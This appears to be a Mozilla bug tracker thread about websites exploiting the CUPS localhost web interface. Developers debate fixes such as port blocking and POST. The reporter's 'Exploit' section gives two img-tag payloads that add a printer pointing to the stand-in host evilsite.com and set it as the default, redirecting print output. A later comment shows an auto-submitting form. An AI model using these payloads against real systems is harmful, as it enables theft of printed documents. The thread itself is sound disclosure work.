278591 - websites can steal your printer output (etc) by exploiting the wide-open web server CUPS sets up on localhost which allows GET requests to reconfigure CUPS

Status: RESOLVED WONTFIX

(Core :: Networking, defect)

Description

[peter_jonson]

User-Agent:       Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0
Build Identifier: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8a6) Gecko/20050111

A webpage can include local resources, eg using an img tag. eg it can access the
CUPS interface (http://localhost:631/). If, since starting the browser, the user
has visited any of the CUPS pages that require a password (there are several),
then simply visiting a website that includes the img tags below will set up a
new printer, make it a network printer pointing back to the attacker, and make
it the default printer. Then any confidential documents printed locally will be
sent to the attacker.

Websites can send arbitrary data to local services, except any that are blocked,
eg port 25. The browser brings this data through any firewall, makes it appear
to come from the local host, and may even helpfully add passwords, as in the
CUPS case above (CUPS uses http authentication). There is no limit to what
standard or non-standard local services may exist now or in the future, or what
exploits may exist against them.

If the website guesses a printer name (or tries many) it can reconfigure it, and
restart all completed jobs. So just visiting the site, with java and javascript
off, may give it all your previously printed documents. It may be possible to
use other tags, eg stylesheet. Even if you have not previously put in the CUPS
password, a site can still submit test pages and delete print jobs. It may be
possible to target the exploit, by putting it in an html email.

Reproducible: Always

Steps to Reproduce:
1.Visit http://localhost:631/ and use one of the password protected pages.
2.Include the img tags below in a webpage.
3.Visit the webpage

Actual Results:  
All my printouts were redirected to evilsite.com

Expected Results:  
The user has privileged access to various local resources. This is intended to
be used with user involvement (eg directly typed url, bookmark, or says OK to
dialogue). Therefore the browser should only allow it to happen with user
involvement. This should apply to a configurable list of machines that includes
the local host by default. (By any name eg localhost, 127.0.0.1, hostname). The
user might for example decide to add the whole of a local network to this list.

Exploit:
<img
src="http://localhost:631/admin/?OP=add-printer&PRINTER_NAME=lp&PRINTER_LOCATION=&PRINTER_INFO=&DEVICE_URI=http%3A%2F%2Fevilsite.com%2F&BAUDRATE=&BITS=&PARITY=&FLOW=&PPD_NAME=raw"></img>
<img src="http://localhost:631/admin/?op=set-as-default&printer_name=lp"></img>

It would be nice to be able to see what sites the browser is storing http
authentication for, and clear them without restarting the whole browser. With
tabbed browsing there may always be several tabs open, so restarting every time
you want to log off a service is extremely inconvenient.

Comment 1

[Boris Zbarsky [:bzbarsky]]

Sounds like we should close of port 631.  Past that, this is a duplicate of
various bugs we already have on file.

> and clear them without restarting the whole browser.

With the Mozilla application suite, you can:  Tools > Password Manager > Log
Out.  This will log out all HTTP authentication sessions.

Comment 2

[peter_jonson]

Webpages don't normally need to include local resources. If one does, the user
should be asked for confirmation.

Comment 3

[Christian :Biesinger (don't email me, ping me on IRC)]

"local"? that's just another HTTP server...

Comment 4

[Daniel Veditz [:dveditz]]

(In reply to comment #3)
> "local"? that's just another HTTP server...

Bah, you know that's not what the user thinks should happen. Companies set up
elaborate firewalls to prevent connections to internal servers, only to see
browsers poke a big hole in it by allowing any externally-loaded page to
reference any internal URL. Sure, the same-origin policy prevents the external
page from gathering any data this way, but any internal server that accepts
commands via GET (plenty of them in spite of HTTP specs that warn against it) is
vulnerable.

Obviously the attacker would need to know about the internal servers (or guess
at common local services as in this case) but a "disgruntled ex-employee" would
have that kind of knowledge. Prior to Thunderbird's blocking of remote
connections, evil mail to former colleagues is all it would have taken; I
believe Mozilla Suite mail is still vulnerable by default. There are no blocks
in the browser.

Comment 5

[Hixie (not reading bugmail)]

This was covered on Slashdot last December:
   http://it.slashdot.org/article.pl?sid=02/12/20/0140249&tid=172
...and is IMHO a CUPS bug, not a Firefox bug. CUPS should be doing Referer
checking; this is a CGI Security 101. Just ask any Web-based game designer.

There's not much we can do about it, since the CUPS CGI configuration could be
on a server other than localhost (e.g. configuring across the network), or on a
different port. And it applies to any CGI script, not just CUPS.

Comment 6

[Daniel Veditz [:dveditz]]

Removing confidential flag as reporters request

Comment 7

[u7736]

(In reply to comment #5)
> This was covered on Slashdot last December:
>    http://it.slashdot.org/article.pl?sid=02/12/20/0140249&tid=172
> ...and is IMHO a CUPS bug, not a Firefox bug. CUPS should be doing Referer
> checking; this is a CGI Security 101. Just ask any Web-based game designer.

CUPS should be using POST, not GET, to modify the state of resources. 

Comment 8

[Boris Zbarsky [:bzbarsky]]

Using POST wouldn't help the situation here, since POST can be done completely from JavaScript.

Comment 9

[u7736]

(In reply to comment #8)
> Using POST wouldn't help the situation here, since POST can be done completely
> from JavaScript.

No, the JavaScript security model will prevent this kind of cross-site scripting attack; XmlHttpRequest will only allow a request to go back to the same site.

Comment 10

[Boris Zbarsky [:bzbarsky]]

You can do POST with an HTML form which has a submit() method.  No need for XMLHttpRequest, and no same-origin check.

Comment 11

[u7736]

(In reply to comment #10)
> You can do POST with an HTML form which has a submit() method.  No need for
> XMLHttpRequest, and no same-origin check.

In-ter-esting. In HTTP, unsafe methods should require user interaction; this isn't a hard-and-fast requirement (unfortunately), but the principle is there (e.g., cautions against automatic redirection in section 10.3).

Do you have a demonstration of this (e.g., site A content automatically POSTing to site B without user interaction), and have you filed a bug against it? 

Cheers,

Comment 12

[Boris Zbarsky [:bzbarsky]]

data:text/html,<body onload="document.forms[0].submit()"><form action="POST" action="whatever">...

This is widely used on the web and supported by all browsers.  I also think it's perfectly acceptable behavior, but I do believe there's a bug about having this situation warn the user.  Feel free to search for it.  That's not related to this bug, however.

Comment 13

[Philip Chee]

Daniel & Boris,

Do we still have this problem? We use the same printing backend as Firefox and I think there is the printing code has undergone some rewrites since this bug was opened.

Comment 14

[Boris Zbarsky [:bzbarsky]]

This has nothing to do with our print subsystem.  Please read the bug.

This should _maybe_ depend on the "don't allow access to internal IPs" bug, but even that might not help if localhost is not an internal IP... of course in that case anyone on the web could reconfigure your printers.

Comment 15

[Boris Zbarsky [:bzbarsky]]

And again, should we add port 631 to the blacklist?  That seems to be commonly used for IPP, so arguably we should....  Daniel?

Comment 16

[Patrick McManus [:mcmanus]]

we've gone this far allowing 631 and I think have shown this is no worse than the general problems with remote content accessing local services.